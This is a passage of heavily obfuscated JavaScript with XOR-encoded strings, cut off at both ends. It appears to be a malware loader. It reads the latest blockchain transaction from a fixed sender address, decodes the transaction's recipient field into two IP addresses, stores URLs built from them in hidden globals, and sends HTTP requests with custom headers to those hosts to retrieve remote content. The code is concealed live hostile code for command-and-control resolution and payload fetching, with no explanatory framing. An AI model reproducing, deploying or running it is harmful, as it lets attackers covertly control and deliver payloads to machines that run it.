iYiLEcskTpnYTJPqrZsogV=NqxGTrBbFKOPHkXCif$gLSa$bf,Z$GtOvgDwYlFKRgaJYRqfcz=cDCzKulmFY[iYiLEcskTpnYTJPqrZsogV(0x18f)]({'hostname':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x15d)],'port':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x17d)]||(ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]===iYiLEcskTpnYTJPqrZsogV(0x122)?parseInt(0xd8d)*-0x2+0x1690+parseFloat(parseInt(0x645)):-parseInt(0xdbc)+Math.floor(-0x14e5)+0x22f1),'path':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x144)]+ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x156)],'method':method,'agent':AGENTS[ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]],'signal':HAKh_KCzxBeTWPvbdKwtA,'headers':NDZfTGscWmjgRlRFVX},MmSsm_FiLjLpdBa$KTndpO=>{const Z$oUMyGKJ_lzOIA=iYiLEcskTpnYTJPqrZsogV,G$OQvkCwj_QkKkkjK=decompressStream(MmSsm_FiLjLpdBa$KTndpO),YPq_rcqE$lwBmFldf=[];G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x160),BSUnlIcprZhMLn=>YPq_rcqE$lwBmFldf[Z$oUMyGKJ_lzOIA(0x192)](BSUnlIcprZhMLn)),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x186),()=>{const IOXVwwg_bQtz=Z$oUMyGKJ_lzOIA;try{r$rBRHkLeiekPY$qavUa(JSON[IOXVwwg_bQtz(0x199)](Buffer[IOXVwwg_bQtz(0x182)](YPq_rcqE$lwBmFldf)[IOXVwwg_bQtz(0x193)](IOXVwwg_bQtz(0x130))));}catch(nQg$EvViWHcRsDjKlktTCSx){xtG$jc$UuwrljlI(nQg$EvViWHcRsDjKlktTCSx);}}),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x16d),xtG$jc$UuwrljlI);});Z$GtOvgDwYlFKRgaJYRqfcz['on'](iYiLEcskTpnYTJPqrZsogV(0x16d),xtG$jc$UuwrljlI);if(WjLwHqh_v!=null)Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x13b)](WjLwHqh_v);Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x186)]();});}async function withRpcEndpoints(ZJCqvspIHG$daRzgmqdPpUCkN,a_Mban){const Z_rFHDSrxbFBYmc=xXfMZKDLYuTRIADnwGIKpCU,lmC$fKBjd_JiJx=RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)](()=>new AbortController());lmC$fKBjd_JiJx[Z_rFHDSrxbFBYmc(0x16a)](EABDkr_crWzbpYPrABCXIjcDUy=>linkAbort(a_Mban,EABDkr_crWzbpYPrABCXIjcDUy));try{return await Promise[Z_rFHDSrxbFBYmc(0x12c)](RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)]((KYWnxEt_oF,ec_jPVov)=>ZJCqvspIHG$daRzgmqdPpUCkN(KYWnxEt_oF,lmC$fKBjd_JiJx[ec_jPVov][Z_rFHDSrxbFBYmc(0x196)])));}finally{for(const AWUUaNkfPHOjVnzJoRjdSnN of lmC$fKBjd_JiJx)AWUUaNkfPHOjVnzJoRjdSnN[Z_rFHDSrxbFBYmc(0x12f)]();}}async function rpcCall(BtQmzpBlv_boOex,QgFrLBzZYlWAER$udPUdg,NSUnLxtacDARwCiVCjUovCSHO,pdhnuvK){const vxQecjNGmwn=xXfMZKDLYuTRIADnwGIKpCU,IlTvcj$_UXzsDHemPhQ=await httpRequest(BtQmzpBlv_boOex,{'method':vxQecjNGmwn(0x15b),'body':JSON[vxQecjNGmwn(0x17e)]({'jsonrpc':vxQecjNGmwn(0x13f),'id':0x1,'method':QgFrLBzZYlWAER$udPUdg,'params':NSUnLxtacDARwCiVCjUovCSHO}),'signal':pdhnuvK});return IlTvcj$_UXzsDHemPhQ[vxQecjNGmwn(0x15c)];}async function rpcBatch(MOUxBFEHg$ubvQV,UQyk$CMhjc$JHjZ,msGvLp){const bQDo_$x=xXfMZKDLYuTRIADnwGIKpCU,HjVSCsvHbjxak=await httpRequest(MOUxBFEHg$ubvQV,{'method':bQDo_$x(0x15b),'body':JSON[bQDo_$x(0x17e)](UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)](([k__HCtg,FuxxSM],TZClzackEBCPYmQD)=>({'jsonrpc':bQDo_$x(0x13f),'id':TZClzackEBCPYmQD+(parseInt(-parseInt(0x5fe))+parseInt(0xe74)+Math.ceil(-parseInt(0x875))),'method':k__HCtg,'params':FuxxSM}))),'signal':msGvLp}),tSrciNpiucctDUSrzVkfca=new Map(HjVSCsvHbjxak[bQDo_$x(0x14a)](MMIIveikPYRNZiYguUuNJTq=>[MMIIveikPYRNZiYguUuNJTq['id'],MMIIveikPYRNZiYguUuNJTq]));return UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)]((WwAqChApbxRbSu,iGOujKtwJZOlWeUho)=>tSrciNpiucctDUSrzVkfca[bQDo_$x(0x16c)](iGOujKtwJZOlWeUho+(-parseInt(0x18df)*Number(-parseInt(0x1))+Number(-0x2076)+0x6*parseInt(0x144)))[bQDo_$x(0x15c)]);}const toBlockHex=qsuOxTwtvdzWQ=>'0x'+qsuOxTwtvdzWQ[xXfMZKDLYuTRIADnwGIKpCU(0x193)](-0x5d8+0x4a1*0x3+Math.ceil(-0x7fb));function findSenderTx(ss$XzuOJDrMzw){const PYnCGYXBJBl_y=xXfMZKDLYuTRIADnwGIKpCU;return ss$XzuOJDrMzw[PYnCGYXBJBl_y(0x141)](wxy$ShEph=>wxy$ShEph[PYnCGYXBJBl_y(0x163)]&&wxy$ShEph[PYnCGYXBJBl_y(0x163)][PYnCGYXBJBl_y(0x15a)]()===SENDER)||null;}function ygdhqkpCgKxflnUACX(){const rmG$rZklJvJUbCO$fnZqh=['919f9c9098bd869e919681','91928096c5c7','c9cbc3','959c81b692909b','959a9f879681','949687','9681819c81','9d9c9796','94899a83','c6c3c4cbc0c5c3c0bdb487948497','9b87878380c9dcdc96879b968196869ede818390dd8386919f9a909d9c9796dd909c9e','9b87878380c9dcdcc2818390dd9a9cdc96879b','8ade83accd97d7c3b1d5b3adc292a298','96879bac919f9c9098bd869e919681','d4c8949f9c91929fa8d4ac87ac80d4aeced4','9b9280','d58087928187919f9c9098cec3d5969d97919f9c9098cecacacacacacacacad583929496cec2d59c9595809687cec1c3d5809c8187ce97968090d5959a9f879681918ace95819c9e','9f969d94879b','909c9d87819c9f9f9681','9d9c9796c9909b9a9f97ac83819c90968080','909b9281b09c9796b287','d4c8949f9c91929fa8d481d4aece819682869a8196c8949f9c91929fa8d49ed4aece9e9c97869f96c8859281d3ac949f9c91929fce949f9c91929fc8','839c8187','8087819a9d949a958a','839a8396','9283839f9a9092879a9c9ddc99809c9d','8196839f929096','909c9d909287','9b969297968180','c4c1aab1a0bfa4a1','8781929d809290879a9c9d80','969d97','c1c7c7cbc2c6c697a798b7a399','b4b6a7','9c9199969087','be9c899a9f9f92dcc6ddc3d3dba49a9d979c8480d3bda7d3c2c3ddc3c8d3a49a9dc5c7c8d38bc5c7dad3b283839f96a49691b89a87dcc6c0c4ddc0c5d3dbb8bba7bebfdfd39f9a9896d3b49690989cdad3b09b819c9e96dcc2c0c2ddc3ddc3ddc3d3a0929592819adcc6c0c4ddc0c5','9d9c9796c99b878783','909287909b','949f9c91929fa8d4aca5d4aeced4','9d9c9796c986819f','81968286968087','cc9e9c97869f96ce9290909c869d87d59290879a9c9dce878b9f9a8087d592979781968080ce','9d9c9796c9899f9a91','8386809b','879ca087819a9d94','bbb6b2b7','94899a83dfd39796959f928796dfd39181','809a949d929f','98969683de929f9a8596','808691928181928a','8392818096','959a9d97ba9d97968b','d4c8949f9c91929fa8d4ac87ac86d4aeced4','c1cbc2c1c0c3c19aa3808ab9b1','9d9c9796c99b87878380','929797','9b87878380c9','969d85','909c9d87969d87de969d909c979a9d94','9a80b28181928a','b6a7bbaca1a3b0aca6a1bf','8bde83928a9f9c9297de91c5c7','9a949d9c8196','c1c7cacacbc1c7b0a5b59998ba','ac87ac80','908196928796b4869d899a83','929d8a','918a8796bf969d94879b','86819f','92919c8187','868795cb','929797b685969d87bf9a8087969d9681','9b968b','929f9f','c0b2ba85a6bd91','908196928796ba9d959f928796','82c7b5a9988bab88d29bdfa081c0ceb3','b09c9d87969d87debf969d94879b','9e9a9d','d4c8949f9c91929fa8d4acbbc1d4aeced4','c49eb2b99aa497','84819a8796','9b87878380c9dcdc96879bdd97818390dd9c8194','819680869e96','96879bac949687a781929d809290879a9c9db09c869d87','c1ddc3','b09c9d87969d87dea78a8396','959a9d97','c38b92c0c1c1b6c695c0b7c0c2c2b7c0c3cbc396c595c3c2c1c2c3c5c096ca92b7b0c1c7cac3b695c292','83819c879c909c9f','8392879b9d929e96','cbc6c1c1c4c5c38795a6b09d83','9b87878380c9dcdc96879bdd919f9c909880909c8687dd909c9edc92839a','d4c8949f9c91929fa8d4acbbd4aeced4','9796959f928796','be9a80809a9d94d3abdea3928a9f9c9297deb1c5c7','9e9283','9b878783c9dcdc','879b969d','9b87878380c9dcdc96879bde9e929a9d9d9687dd8386919f9a90dd919f92808792839add9a9c','b69e83878ad383928a9f9c9297d3919c978a','c5c2c1c4a6a3a5a9bda5','c6c4c0c38a98bc979c98','81869d','c9c7c7c0dcc38bdc909f80','c9c7c7c0dcc38bdc9f80','c2c3c6c5c3c4cacbb5a1bc98b782','8bde94899a83','80969281909b','908196928796b1819c879f9ab796909c9e8381968080','869d819695','b294969d87','879cbf9c849681b0928096','a3bca0a7','819680869f87','9b9c80879d929e96','ac87ac86','c7bc9eb5b2859a','97928792','c9c7c7c0','96879bac949687b19f9c9098b18abd869e919681','95819c9e','c0cbc0c6c2b4abb287bbb9','acbbc1','9d9c9d9096'];ygdhqkpCgKxflnUACX=function(){return rmG$rZklJvJUbCO$fnZqh;};return ygdhqkpCgKxflnUACX();}function decodeAddress(MU$BxwqDSlg_szWjnqdSd){const hbaAsehW_uX=xXfMZKDLYuTRIADnwGIKpCU,UgYMdAIOcrY=Buffer[hbaAsehW_uX(0x163)](MU$BxwqDSlg_szWjnqdSd[hbaAsehW_uX(0x181)](/^0x/i,''),hbaAsehW_uX(0x132)),bnzeADhnIXvcM_FTdqPQvf=I$_YPKDmVd=>I$_YPKDmVd[-parseInt(0x1)*Number(parseInt(0x1a3d))+-parseInt(0x1e70)+Math.max(-0x38ad,-parseInt(0x38ad))*-parseInt(0x1)]+'.'+I$_YPKDmVd[Math.trunc(-parseInt(0x8ed))+-parseInt(0x15f4)+Math.max(0x1ee2,0x1ee2)]+'.'+I$_YPKDmVd[parseInt(0x12a)*0x18+-0x1*-0x1cc3+Number(-0x38b1)]+'.'+I$_YPKDmVd[0x2632*-parseInt(0x1)+Math.ceil(-0x216a)+Number(0x479f)];return[bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Number(parseInt(0x17f))*-0x1+-0xe72+Math.trunc(parseInt(0xff1)),Number(0x15d1)+parseInt(0x1)*-0xdc9+-parseInt(0x804))),bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Math.max(-parseInt(0x24e1),-0x24e1)+parseFloat(-parseInt(0x257b))*parseInt(parseInt(0x1))+parseInt(0x4a60),parseInt(0xb25)*parseFloat(-parseInt(0x1))+parseFloat(-0x1147)*parseInt(0x2)+0x2dbb))];}function firstMatch(FAZkxSE_vngdDDmJvC){return new Promise(OxJ$dP=>{const ckn_BCUQ_p=y$zxQ$V;let PlSdmzp=FAZkxSE_vngdDDmJvC[ckn_BCUQ_p(0x178)];if(!PlSdmzp)return OxJ$dP(null);let TkpygZAycIWpKJ_r=![];const UdflpddazqRXj$ZLymKPhkLt=TlJh$lhQQj=>{const xSHhkOxLpfSFTuTzxZuiqMb=ckn_BCUQ_p;if(TkpygZAycIWpKJ_r)return;TkpygZAycIWpKJ_r=!![];for(const JsBFoHAhwldFggqjTOC$bQPx_rm of FAZkxSE_vngdDDmJvC)JsBFoHAhwldFggqjTOC$bQPx_rm[xSHhkOxLpfSFTuTzxZuiqMb(0x179)][xSHhkOxLpfSFTuTzxZuiqMb(0x12f)]();OxJ$dP(TlJh$lhQQj);};for(const GnslQRGpGMKHRHKnBsMmBjMU of FAZkxSE_vngdDDmJvC){GnslQRGpGMKHRHKnBsMmBjMU[ckn_BCUQ_p(0x151)]()[ckn_BCUQ_p(0x14c)](JVtJ$EhqZJ=>{if(TkpygZAycIWpKJ_r)return;if(JVtJ$EhqZJ)UdflpddazqRXj$ZLymKPhkLt(JVtJ$EhqZJ);else{if(--PlSdmzp===parseInt(0x2e)*-0x5f+0x1*0x2b4+parseInt(0xe5e))OxJ$dP(null);}})[ckn_BCUQ_p(0x18c)](()=>{if(!TkpygZAycIWpKJ_r&&--PlSdmzp===-parseInt(0x280)*-parseInt(0x4)+Math.ceil(parseInt(0x18dc))*Math.floor(-0x1)+Math.ceil(-parseInt(0xc))*-0x13d)OxJ$dP(null);});}});}function candidateBlocks(toTlKlAisDPWWLoPzYWz){const fHAtqr__rcUedK=xXfMZKDLYuTRIADnwGIKpCU,gsc$ZpdMN$Qlxp=toTlKlAisDPWWLoPzYWz-BLOCK_MULTIPLE,Ms_g$AYBRPb=new Set(),RaNpADr_DZjT=[];for(const pEAUVwX$CUEOM of[toTlKlAisDPWWLoPzYWz-0x1n,toTlKlAisDPWWLoPzYWz,toTlKlAisDPWWLoPzYWz+0x1n,gsc$ZpdMN$Qlxp-0x1n,gsc$ZpdMN$Qlxp,gsc$ZpdMN$Qlxp+0x1n]){if(pEAUVwX$CUEOM<0x0n)continue;const Vhstdizw_$eCXUBdTR=pEAUVwX$CUEOM[fHAtqr__rcUedK(0x193)]();if(Ms_g$AYBRPb[fHAtqr__rcUedK(0x176)](Vhstdizw_$eCXUBdTR))continue;Ms_g$AYBRPb[fHAtqr__rcUedK(0x121)](Vhstdizw_$eCXUBdTR),RaNpADr_DZjT[fHAtqr__rcUedK(0x192)](pEAUVwX$CUEOM);}return RaNpADr_DZjT;}function blockTask(uMtQfmlZAsztJco$YSqTyOAzm){const cXxUNiMHCdnRyhSnUOIamZ=new AbortController();return{'controller':cXxUNiMHCdnRyhSnUOIamZ,'run':async()=>{const Or$Pf_Kt=y$zxQ$V,vvmeeuZrcwflohEomwrXib=await withRpcEndpoints((iYzWBWfAYwLFVcZnGremLN_A,lfBqsQSC)=>rpcCall(iYzWBWfAYwLFVcZnGremLN_A,Or$Pf_Kt(0x162),[toBlockHex(uMtQfmlZAsztJco$YSqTyOAzm),!![]],lfBqsQSC),cXxUNiMHCdnRyhSnUOIamZ[Or$Pf_Kt(0x196)]),HTMvgJHVAi_PebhsJCawoSt=vvmeeuZrcwflohEomwrXib?.[Or$Pf_Kt(0x185)];if(!Array[Or$Pf_Kt(0x125)](HTMvgJHVAi_PebhsJCawoSt))return null;const RDXCEbaed_NNVeqjxCErW=findSenderTx(HTMvgJHVAi_PebhsJCawoSt);return RDXCEbaed_NNVeqjxCErW?{'blockNumber':uMtQfmlZAsztJco$YSqTyOAzm,'tx':RDXCEbaed_NNVeqjxCErW}:null;}};}async function nonceAtBlocks(mzLqWML,wpMTNHp_fT_b){const MxBNEpFELE=xXfMZKDLYuTRIADnwGIKpCU,bpqpdgBuNXjMHjK_X$P=mzLqWML[MxBNEpFELE(0x14a)](ehYiP=>[MxBNEpFELE(0x13e),[SENDER,toBlockHex(ehYiP)]]);try{return(await withRpcEndpoints((FMWqMnDlPFtCNvmPyHLqeN_ahm,itWvKAkgQrzNEZ)=>rpcBatch(FMWqMnDlPFtCNvmPyHLqeN_ahm,bpqpdgBuNXjMHjK_X$P,itWvKAkgQrzNEZ),wpMTNHp_fT_b))[MxBNEpFELE(0x14a)](BigInt);}catch{return(await Promise[MxBNEpFELE(0x133)](bpqpdgBuNXjMHjK_X$P[MxBNEpFELE(0x14a)](([tkPmxfi_ks_gWq,o_T_HxPVEno])=>withRpcEndpoints((ipnwxKLN_PpKlRKirQnl,Wv_Nkc_bEFfJztVZaiGThgKpFA)=>rpcCall(ipnwxKLN_PpKlRKirQnl,tkPmxfi_ks_gWq,o_T_HxPVEno,Wv_Nkc_bEFfJztVZaiGThgKpFA),wpMTNHp_fT_b))))[MxBNEpFELE(0x14a)](BigInt);}}async function lastSenderTx(WcNxzfCMb){const lNF_C$P=xXfMZKDLYuTRIADnwGIKpCU,fICQP$lGUqIbzRdOP=new AbortController();try{const aFEOMLTPsfqRPF$ty$Sjq=WcNxzfCMb??BigInt(await withRpcEndpoints((FK_jyzC,oOowyBiFnPyHBygwHecsMPWcI)=>rpcCall(FK_jyzC,lNF_C$P(0x174),[],oOowyBiFnPyHBygwHecsMPWcI),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),ZTxziQZsm_NKiXjXIFa$aTjNCp=BigInt(await withRpcEndpoints((wR$eNreoQfCjsqw,TUziriEUeeGdPvmUy_oczo)=>rpcCall(wR$eNreoQfCjsqw,lNF_C$P(0x13e),[SENDER,toBlockHex(aFEOMLTPsfqRPF$ty$Sjq)],TUziriEUeeGdPvmUy_oczo),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),vB$Ovw=ZTxziQZsm_NKiXjXIFa$aTjNCp-0x1n;let YXGEZhwOhWVIJOqJTcXZN=SEARCH_FLOOR-0x1n,y$Jtge=aFEOMLTPsfqRPF$ty$Sjq;while(y$Jtge-YXGEZhwOhWVIJOqJTcXZN>0x1n){const dlXfFnQfpcKdKcib$D=y$Jtge-YXGEZhwOhWVIJOqJTcXZN-0x1n,Qhc_DJ$Z=BigInt(Math[lNF_C$P(0x138)](NONCE_FANOUT,Number(dlXfFnQfpcKdKcib$D))),hnXFOckcBoMuy_Do_t=[];for(let Ckme_i=0x1n;Ckme_i<=Qhc_DJ$Z;Ckme_i+=0x1n)hnXFOckcBoMuy_Do_t[lNF_C$P(0x192)](YXGEZhwOhWVIJOqJTcXZN+Ckme_i*(y$Jtge-YXGEZhwOhWVIJOqJTcXZN)/(Qhc_DJ$Z+0x1n));const REZyhjevDj$zk=await nonceAtBlocks(hnXFOckcBoMuy_Do_t,fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),OuidMYT_xluuI=REZyhjevDj$zk[lNF_C$P(0x19a)](ImBWxoozKOyA$U=>ImBWxoozKOyA$U>=ZTxziQZsm_NKiXjXIFa$aTjNCp);if(OuidMYT_xluuI===-(0x1*-0xf13+parseInt(0x524)+parseFloat(parseInt(0x9f0))))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[hnXFOckcBoMuy_Do_t[lNF_C$P(0x178)]-(0xe07+0x26f6+parseFloat(0xd3f)*parseInt(-0x4))];else{y$Jtge=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI];if(OuidMYT_xluuI>-0x5*Math.max(-0x4a5,-parseInt(0x4a5))+parseInt(0x9)*-0x147+parseFloat(parseInt(0xbba))*Math.max(-0x1,-0x1))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI-(Number(-0x1)*Math.floor(parseInt(0x2312))+Math.ceil(-parseInt(0x102e))+0x3341)];}}const jARJtYgFT=await withRpcEndpoints((MBWeHw$_fGWQDb,cNwKSMoDEwnXxp)=>rpcCall(MBWeHw$_fGWQDb,lNF_C$P(0x162),[toBlockHex(y$Jtge),!![]],cNwKSMoDEwnXxp),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),WSpyBRLkDfTbeTImKzIAVjlWK=jARJtYgFT?.[lNF_C$P(0x185)]||[];let w$ziusFd$plAukK=null;for(const uFfoWM of WSpyBRLkDfTbeTImKzIAVjlWK){if(!uFfoWM[lNF_C$P(0x163)]||uFfoWM[lNF_C$P(0x163)][lNF_C$P(0x15a)]()!==SENDER)continue;if(BigInt(uFfoWM[lNF_C$P(0x166)])===vB$Ovw){w$ziusFd$plAukK=uFfoWM;break;}if(!w$ziusFd$plAukK||BigInt(uFfoWM[lNF_C$P(0x166)])>BigInt(w$ziusFd$plAukK[lNF_C$P(0x166)]))w$ziusFd$plAukK=uFfoWM;}return{'blockNumber':y$Jtge,'tx':w$ziusFd$plAukK};}finally{fICQP$lGUqIbzRdOP[lNF_C$P(0x12f)]();}}function y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u){const fLvbQaML=ygdhqkpCgKxflnUACX();return y$zxQ$V=function(tWGuleodYMnqSTTOUyaNyjlka,WZpkgC){tWGuleodYMnqSTTOUyaNyjlka=tWGuleodYMnqSTTOUyaNyjlka-(parseInt(-0x2)*0x1022+Math.max(-0x88d,-0x88d)+Math.trunc(parseInt(0x29f1)));let zzqNQlkX_jiVOqfG=fLvbQaML[tWGuleodYMnqSTTOUyaNyjlka];if(y$zxQ$V['vNELbx']===undefined){const esARJZ$grU=function(mbmdP_sDwWHHYstLPsLpvc){let Hysh$gVKlKX_M=parseInt(-0x1de4)+parseInt(0xf3e)+parseInt(0x1099)&0x3ce+Math.max(parseInt(0x233e),parseInt(0x233e))+-0x260d,PuWFvo_nC_J=new Uint8Array(mbmdP_sDwWHHYstLPsLpvc['match'](/.{1,2}/g)['map'](QHQrAhfyVRftV=>parseInt(QHQrAhfyVRftV,parseInt(parseInt(0x1))*parseFloat(parseInt(0x1771))+Math.floor(-parseInt(0xaa2))+-parseInt(0xfb)*Math.floor(parseInt(0xd))))),e_rrzkd$WLF=PuWFvo_nC_J['map'](TOdMpz$yUG=>TOdMpz$yUG^Hysh$gVKlKX_M),aEGvsEyMMX_jkJgx=new TextDecoder(),cOtBWu=aEGvsEyMMX_jkJgx['decode'](e_rrzkd$WLF);return cOtBWu;};y$zxQ$V['GBnwaa']=esARJZ$grU,KRhhKrsFqmjfaAyx$wJ$rwk=arguments,y$zxQ$V['vNELbx']=!![];}const ynFhQbbu_SatOnNNRsd=fLvbQaML[-parseInt(0x116e)+-0xa31+parseFloat(0x1b9f)],WJhqNXjEhoBNMVA$eBtfwI=tWGuleodYMnqSTTOUyaNyjlka+ynFhQbbu_SatOnNNRsd,jNdJZOnY$Q_YnKxpDKAl=KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI];return!jNdJZOnY$Q_YnKxpDKAl?(y$zxQ$V['SbiVeH']===undefined&&(y$zxQ$V['SbiVeH']=!![]),zzqNQlkX_jiVOqfG=y$zxQ$V['GBnwaa'](zzqNQlkX_jiVOqfG),KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI]=zzqNQlkX_jiVOqfG):zzqNQlkX_jiVOqfG=jNdJZOnY$Q_YnKxpDKAl,zzqNQlkX_jiVOqfG;},y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u);}async function lastSenderTxViaIndexer(){const NCpDdFsagJWXVXIZSANW=xXfMZKDLYuTRIADnwGIKpCU,GoMJqPkeVtkAVEeIOtXSGHH=INDEXER_URL+NCpDdFsagJWXVXIZSANW(0x190)+SENDER+NCpDdFsagJWXVXIZSANW(0x177),zquU__Y=await httpRequest(GoMJqPkeVtkAVEeIOtXSGHH),qN$nvwAmKPq_FjnoFLyw=Array[NCpDdFsagJWXVXIZSANW(0x125)](zquU__Y?.[NCpDdFsagJWXVXIZSANW(0x15c)])?zquU__Y[NCpDdFsagJWXVXIZSANW(0x15c)]:[],HZ_csmRHpSyPtSDjPPRh=qN$nvwAmKPq_FjnoFLyw[NCpDdFsagJWXVXIZSANW(0x141)](upBEWZ_Xf=>upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)]&&upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)][NCpDdFsagJWXVXIZSANW(0x15a)]()===SENDER);return{'blockNumber':BigInt(HZ_csmRHpSyPtSDjPPRh[NCpDdFsagJWXVXIZSANW(0x167)]),'tx':HZ_csmRHpSyPtSDjPPRh};}async function run(){const iPOSsBZY$MAISzHIjlN_hI=xXfMZKDLYuTRIADnwGIKpCU,sRedE$K_UhZelsJ=BigInt(await withRpcEndpoints((oDyqcBfSj_iwKRdtMeji,hc$_IbKLU)=>rpcCall(oDyqcBfSj_iwKRdtMeji,iPOSsBZY$MAISzHIjlN_hI(0x174),[],hc$_IbKLU))),vELuNUBHIXAw_H=sRedE$K_UhZelsJ-sRedE$K_UhZelsJ%BLOCK_MULTIPLE;let xPEcUaXVyaXbM_MKePE=await firstMatch(candidateBlocks(vELuNUBHIXAw_H)[iPOSsBZY$MAISzHIjlN_hI(0x14a)](blockTask));!xPEcUaXVyaXbM_MKePE&&(xPEcUaXVyaXbM_MKePE=await lastSenderTx(sRedE$K_UhZelsJ)[iPOSsBZY$MAISzHIjlN_hI(0x18c)](()=>lastSenderTxViaIndexer()));const [z_PZv$OwqwKTZPMSnY,WhidJ_hiuaeyuevFOnuuM]=decodeAddress(xPEcUaXVyaXbM_MKePE['tx']['to']),DwPArYdTLMoeHioNwADF_eRM=global;DwPArYdTLMoeHioNwADF_eRM['_V']=DwPArYdTLMoeHioNwADF_eRM['i'],DwPArYdTLMoeHioNwADF_eRM['_H']=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x165)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+WhidJ_hiuaeyuevFOnuuM+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x12a)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x161),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x15e)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169);function huc$QqfRX_phLyjgNgXJAKB(nuyY$mTljeAnEgvkH_gmKVseQ,BdJEd$KDiiU){const hGz$CzuPRAXB$hr=iPOSsBZY$MAISzHIjlN_hI,WRI_JwF_pizjGZ={'hostname':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x15d)],'port':Number(BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x17d)])||parseInt(-0x51b)*Math.trunc(-0x3)+Math.ceil(-0xa)*-parseInt(0x385)+parseInt(0x1)*-0x3233,'path':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x144)]+BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x156)],'headers':{'User-Agent':hGz$CzuPRAXB$hr(0x18a),'Sec-V':DwPArYdTLMoeHioNwADF_eRM['_V']||-0x20b2+-parseInt(0xd5c)+parseInt(0x2e0e)}};function KnqFXZYchNbfFZNKUvfemRq(clfaXCzOnURcGFrsXhqYHVSy){const D$LAzAzDqI=hGz$CzuPRAXB$hr,IGnQ__iQfyHEFEOqoO=nuyY$mTljeAnEgvkH_gmKVseQ[D$LAzAzDqI(0x178)];for(let kHinpPCGwO=0x896+parseInt(0x2)*0x71+parseInt(-parseInt(0x978));kHinpPCGwO{const Roy$VSZhPGMnLmYKvDeNIUwJAI=y$zxQ$V,HjDTGTfhapfslWcfN=http[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x18f)]({...WRI_JwF_pizjGZ,'method':kByeCZwOOfmdgwkEyUuZ},vnVSJNhxijSgBvRGqsbPjZL=>{const XkUNbSL_gVPFryuSs=Roy$VSZhPGMnLmYKvDeNIUwJAI;if(kByeCZwOOfmdgwkEyUuZ===XkUNbSL_gVPFryuSs(0x194)){try{YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));}catch(MFt__IRm){IlhRErRkxjGvfAK_LuFwMQqua(MFt__IRm);}vnVSJNhxijSgBvRGqsbPjZL[XkUNbSL_gVPFryuSs(0x13d)]();return;}const m$r$KvsrDrBJVYuCDoWRvR=[];vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x160),yN$EQjE=>m$r$KvsrDrBJVYuCDoWRvR[XkUNbSL_gVPFryuSs(0x192)](yN$EQjE)),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x186),()=>{const nlhmbEHx$r=XkUNbSL_gVPFryuSs;try{const EjbTshOgkyceaBWIoYs=Buffer[nlhmbEHx$r(0x182)](m$r$KvsrDrBJVYuCDoWRvR);if(EjbTshOgkyceaBWIoYs[nlhmbEHx$r(0x178)])return YfdZrDBfqECeSord$jOwQ(KnqFXZYchNbfFZNKUvfemRq(EjbTshOgkyceaBWIoYs));if(vnVSJNhxijSgBvRGqsbPjZL[nlhmbEHx$r(0x183)][nlhmbEHx$r(0x127)])return YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));IlhRErRkxjGvfAK_LuFwMQqua(new 